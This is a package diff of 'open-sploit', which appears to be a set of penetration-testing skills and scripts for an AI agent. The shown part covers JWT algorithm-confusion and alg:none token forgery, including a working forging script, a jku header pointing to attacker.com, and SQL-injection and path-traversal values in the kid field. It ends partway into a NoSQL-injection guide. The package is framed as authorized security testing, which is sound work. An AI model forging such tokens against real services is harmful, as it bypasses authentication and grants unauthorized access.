open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
# API Reference: JWT Algorithm Confusion Attack
|
|
2
|
+
|
|
3
|
+
## JWT Structure
|
|
4
|
+
|
|
5
|
+
### Three parts (dot-separated, Base64URL-encoded)
|
|
6
|
+
```
|
|
7
|
+
<header>.<payload>.<signature>
|
|
8
|
+
```
|
|
9
|
+
|
|
10
|
+
### Header
|
|
11
|
+
```json
|
|
12
|
+
{"alg": "RS256", "typ": "JWT"}
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
### Common Algorithms
|
|
16
|
+
| Algorithm | Type | Key |
|
|
17
|
+
|-----------|------|-----|
|
|
18
|
+
| HS256 | HMAC | Symmetric shared secret |
|
|
19
|
+
| RS256 | RSA | Asymmetric key pair |
|
|
20
|
+
| ES256 | ECDSA | Asymmetric key pair |
|
|
21
|
+
| none | None | No signature |
|
|
22
|
+
|
|
23
|
+
## Algorithm Confusion Attack
|
|
24
|
+
|
|
25
|
+
### Attack Flow
|
|
26
|
+
1. Server uses RS256 (asymmetric) with public/private key pair
|
|
27
|
+
2. Attacker obtains server's RSA public key
|
|
28
|
+
3. Attacker changes `alg` header from RS256 to HS256
|
|
29
|
+
4. Attacker signs token with the RSA public key as HMAC secret
|
|
30
|
+
5. Server verifies with public key using HMAC (accepts token)
|
|
31
|
+
|
|
32
|
+
### Forging with Public Key
|
|
33
|
+
```python
|
|
34
|
+
import hmac, hashlib, base64, json
|
|
35
|
+
|
|
36
|
+
header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
|
|
37
|
+
payload = base64url(json.dumps({"sub": "admin"}))
|
|
38
|
+
signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256)
|
|
39
|
+
token = f"{header}.{payload}.{base64url(signature)}"
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## None Algorithm Attack
|
|
43
|
+
|
|
44
|
+
### Forged Token
|
|
45
|
+
```python
|
|
46
|
+
header = base64url('{"alg":"none","typ":"JWT"}')
|
|
47
|
+
payload = base64url('{"sub":"admin","admin":true}')
|
|
48
|
+
token = f"{header}.{payload}."
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## JWT Header Injection Attacks
|
|
52
|
+
|
|
53
|
+
### JKU (JSON Web Key Set URL)
|
|
54
|
+
```json
|
|
55
|
+
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
### X5U (X.509 URL)
|
|
59
|
+
```json
|
|
60
|
+
{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### KID (Key ID) — SQL Injection
|
|
64
|
+
```json
|
|
65
|
+
{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### KID — Path Traversal
|
|
69
|
+
```json
|
|
70
|
+
{"alg": "HS256", "kid": "../../dev/null"}
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
## Python PyJWT Library
|
|
74
|
+
|
|
75
|
+
### Decode without verification
|
|
76
|
+
```python
|
|
77
|
+
import jwt
|
|
78
|
+
decoded = jwt.decode(token, options={"verify_signature": False})
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### Verify with algorithm restriction
|
|
82
|
+
```python
|
|
83
|
+
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
## jwt_tool — JWT Testing Tool
|
|
87
|
+
|
|
88
|
+
### Scan for vulnerabilities
|
|
89
|
+
```bash
|
|
90
|
+
python3 jwt_tool.py <token> -M at # All tests
|
|
91
|
+
python3 jwt_tool.py <token> -X a # alg:none attack
|
|
92
|
+
python3 jwt_tool.py <token> -X k -pk public.pem # Key confusion
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
## Remediation
|
|
96
|
+
1. Always specify allowed algorithms: `algorithms=["RS256"]`
|
|
97
|
+
2. Never accept `alg: none`
|
|
98
|
+
3. Use separate verification logic for symmetric vs asymmetric
|
|
99
|
+
4. Validate JKU/X5U against allowlist
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""Agent for testing JWT algorithm confusion vulnerabilities."""
|
|
3
|
+
|
|
4
|
+
import argparse
|
|
5
|
+
import base64
|
|
6
|
+
import hashlib
|
|
7
|
+
import hmac
|
|
8
|
+
import json
|
|
9
|
+
from datetime import datetime, timezone
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
def decode_jwt(token):
|
|
13
|
+
"""Decode a JWT token without verification."""
|
|
14
|
+
parts = token.split(".")
|
|
15
|
+
if len(parts) != 3:
|
|
16
|
+
return None
|
|
17
|
+
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
|
|
18
|
+
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
|
19
|
+
return {"header": header, "payload": payload, "signature": parts[2]}
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def forge_none_alg(payload_dict):
|
|
23
|
+
"""Create a JWT with alg:none (CVE in some libraries)."""
|
|
24
|
+
header = base64.urlsafe_b64encode(
|
|
25
|
+
json.dumps({"alg": "none", "typ": "JWT"}).encode()
|
|
26
|
+
).rstrip(b"=").decode()
|
|
27
|
+
payload = base64.urlsafe_b64encode(
|
|
28
|
+
json.dumps(payload_dict).encode()
|
|
29
|
+
).rstrip(b"=").decode()
|
|
30
|
+
return f"{header}.{payload}."
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def forge_hs256_with_public_key(payload_dict, public_key_pem):
|
|
34
|
+
"""Forge JWT by signing with RSA public key as HMAC secret (alg confusion)."""
|
|
35
|
+
header = base64.urlsafe_b64encode(
|
|
36
|
+
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
|
|
37
|
+
).rstrip(b"=").decode()
|
|
38
|
+
payload = base64.urlsafe_b64encode(
|
|
39
|
+
json.dumps(payload_dict).encode()
|
|
40
|
+
).rstrip(b"=").decode()
|
|
41
|
+
signing_input = f"{header}.{payload}".encode()
|
|
42
|
+
key_bytes = public_key_pem.encode() if isinstance(public_key_pem, str) else public_key_pem
|
|
43
|
+
signature = hmac.new(key_bytes, signing_input, hashlib.sha256).digest()
|
|
44
|
+
sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b"=").decode()
|
|
45
|
+
return f"{header}.{payload}.{sig_b64}"
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def analyze_jwt(token):
|
|
49
|
+
"""Analyze a JWT for common vulnerabilities."""
|
|
50
|
+
decoded = decode_jwt(token)
|
|
51
|
+
if not decoded:
|
|
52
|
+
return {"error": "Invalid JWT format"}
|
|
53
|
+
|
|
54
|
+
findings = []
|
|
55
|
+
header = decoded["header"]
|
|
56
|
+
payload = decoded["payload"]
|
|
57
|
+
|
|
58
|
+
alg = header.get("alg", "")
|
|
59
|
+
if alg.lower() == "none":
|
|
60
|
+
findings.append({"issue": "Algorithm set to 'none'", "severity": "CRITICAL"})
|
|
61
|
+
if header.get("jku"):
|
|
62
|
+
findings.append({"issue": f"JKU header present: {header['jku']}", "severity": "HIGH"})
|
|
63
|
+
if header.get("x5u"):
|
|
64
|
+
findings.append({"issue": f"X5U header present: {header['x5u']}", "severity": "HIGH"})
|
|
65
|
+
if header.get("kid"):
|
|
66
|
+
findings.append({"issue": f"KID header: {header['kid']}", "severity": "MEDIUM"})
|
|
67
|
+
|
|
68
|
+
exp = payload.get("exp")
|
|
69
|
+
if exp:
|
|
70
|
+
from datetime import datetime as dt
|
|
71
|
+
exp_dt = dt.fromtimestamp(exp, tz=timezone.utc)
|
|
72
|
+
if exp_dt < dt.now(timezone.utc):
|
|
73
|
+
findings.append({"issue": f"Token expired: {exp_dt.isoformat()}", "severity": "LOW"})
|
|
74
|
+
else:
|
|
75
|
+
findings.append({"issue": "No expiration claim", "severity": "MEDIUM"})
|
|
76
|
+
|
|
77
|
+
if payload.get("admin") or payload.get("role") in ("admin", "root"):
|
|
78
|
+
findings.append({"issue": "Admin role in payload", "severity": "INFO"})
|
|
79
|
+
|
|
80
|
+
return {
|
|
81
|
+
"header": header,
|
|
82
|
+
"payload": payload,
|
|
83
|
+
"algorithm": alg,
|
|
84
|
+
"findings": findings,
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def main():
|
|
89
|
+
parser = argparse.ArgumentParser(
|
|
90
|
+
description="Test JWT algorithm confusion vulnerabilities (authorized testing only)"
|
|
91
|
+
)
|
|
92
|
+
parser.add_argument("--token", help="JWT token to analyze")
|
|
93
|
+
parser.add_argument("--forge-none", action="store_true", help="Forge alg:none token")
|
|
94
|
+
parser.add_argument("--forge-hs256", help="Path to RSA public key for alg confusion")
|
|
95
|
+
parser.add_argument("--payload", help="JSON payload for forged token")
|
|
96
|
+
parser.add_argument("--output", "-o", help="Output JSON report")
|
|
97
|
+
args = parser.parse_args()
|
|
98
|
+
|
|
99
|
+
print("[*] JWT Algorithm Confusion Testing Agent")
|
|
100
|
+
print("[!] For authorized security testing only")
|
|
101
|
+
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
|
|
102
|
+
|
|
103
|
+
if args.token:
|
|
104
|
+
analysis = analyze_jwt(args.token)
|
|
105
|
+
report["findings"].append({"type": "analysis", **analysis})
|
|
106
|
+
print(f"[*] Algorithm: {analysis.get('algorithm', 'unknown')}")
|
|
107
|
+
print(f"[*] Issues: {len(analysis.get('findings', []))}")
|
|
108
|
+
|
|
109
|
+
payload_dict = json.loads(args.payload) if args.payload else {"sub": "admin", "admin": True}
|
|
110
|
+
|
|
111
|
+
if args.forge_none:
|
|
112
|
+
forged = forge_none_alg(payload_dict)
|
|
113
|
+
report["findings"].append({"type": "forge_none", "token": forged})
|
|
114
|
+
print(f"[*] Forged alg:none token: {forged[:60]}...")
|
|
115
|
+
|
|
116
|
+
if args.forge_hs256:
|
|
117
|
+
with open(args.forge_hs256, "r") as f:
|
|
118
|
+
pub_key = f.read()
|
|
119
|
+
forged = forge_hs256_with_public_key(payload_dict, pub_key)
|
|
120
|
+
report["findings"].append({"type": "forge_hs256_confusion", "token": forged[:60] + "..."})
|
|
121
|
+
print(f"[*] Forged HS256 confusion token generated")
|
|
122
|
+
|
|
123
|
+
if args.output:
|
|
124
|
+
with open(args.output, "w") as f:
|
|
125
|
+
json.dump(report, f, indent=2)
|
|
126
|
+
print(f"[*] Report saved to {args.output}")
|
|
127
|
+
else:
|
|
128
|
+
print(json.dumps(report, indent=2))
|
|
129
|
+
|
|
130
|
+
|
|
131
|
+
if __name__ == "__main__":
|
|
132
|
+
main()
|
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding any notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. Please do not remove or change
|
|
186
|
+
the license header comment from a contributed file except when
|
|
187
|
+
necessary.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 mukul975
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: exploiting-nosql-injection-vulnerabilities
|
|
3
|
+
description: Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB,
|
|
4
|
+
and other NoSQL databases to demonstrate authentication bypass, data extraction,
|
|
5
|
+
and unauthorized access risks.
|
|
6
|
+
domain: cybersecurity
|
|
7
|
+
subdomain: web-application-security
|
|
8
|
+
tags:
|
|
9
|
+
- nosql-injection
|
|
10
|
+
- mongodb
|
|
11
|
+
- authentication-bypass
|
|
12
|
+
- injection-attack
|
|
13
|
+
- web-security
|
|
14
|
+
- database-security
|
|
15
|
+
- api-testing
|
|
16
|
+
version: '1.0'
|
|
17
|
+
author: mahipal
|
|
18
|
+
license: Apache-2.0
|
|
19
|
+
nist_csf:
|
|
20
|
+
- PR.PS-01
|
|
21
|
+
- ID.RA-01
|
|
22
|
+
- PR.DS-10
|
|
23
|
+
- DE.CM-01
|
|
24
|
+
mitre_attack:
|
|
25
|
+
- T1190
|
|
26
|
+
- T1059.007
|
|
27
|
+
- T1505.003
|
|
28
|
+
- T1083
|
|
29
|
+
- T1055
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
# Exploiting NoSQL Injection Vulnerabilities
|
|
33
|
+
|
|
34
|
+
## When to Use
|
|
35
|
+
- During web application penetration testing of applications using NoSQL databases
|
|
36
|
+
- When testing authentication mechanisms backed by MongoDB or similar databases
|
|
37
|
+
- When assessing APIs that accept JSON input for database queries
|
|
38
|
+
- During bug bounty hunting on applications with NoSQL backends
|
|
39
|
+
- When performing security code review of database query construction
|
|
40
|
+
|
|
41
|
+
## Prerequisites
|
|
42
|
+
- Burp Suite Professional or Community Edition with JSON support
|
|
43
|
+
- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)
|
|
44
|
+
- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
|
|
45
|
+
- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
|
|
46
|
+
- Proxy configured for HTTP traffic interception
|
|
47
|
+
- Python 3.x for custom payload scripting
|
|
48
|
+
|
|
49
|
+
## Workflow
|
|
50
|
+
|
|
51
|
+
### Step 1 — Identify NoSQL Injection Points
|
|
52
|
+
```bash
|
|
53
|
+
# Look for JSON-based login forms or API endpoints
|
|
54
|
+
# Common indicators: application accepts JSON POST bodies, uses MongoDB
|
|
55
|
+
# Test with basic syntax-breaking characters
|
|
56
|
+
curl -X POST http://target.com/api/login \
|
|
57
|
+
-H "Content-Type: application/json" \
|
|
58
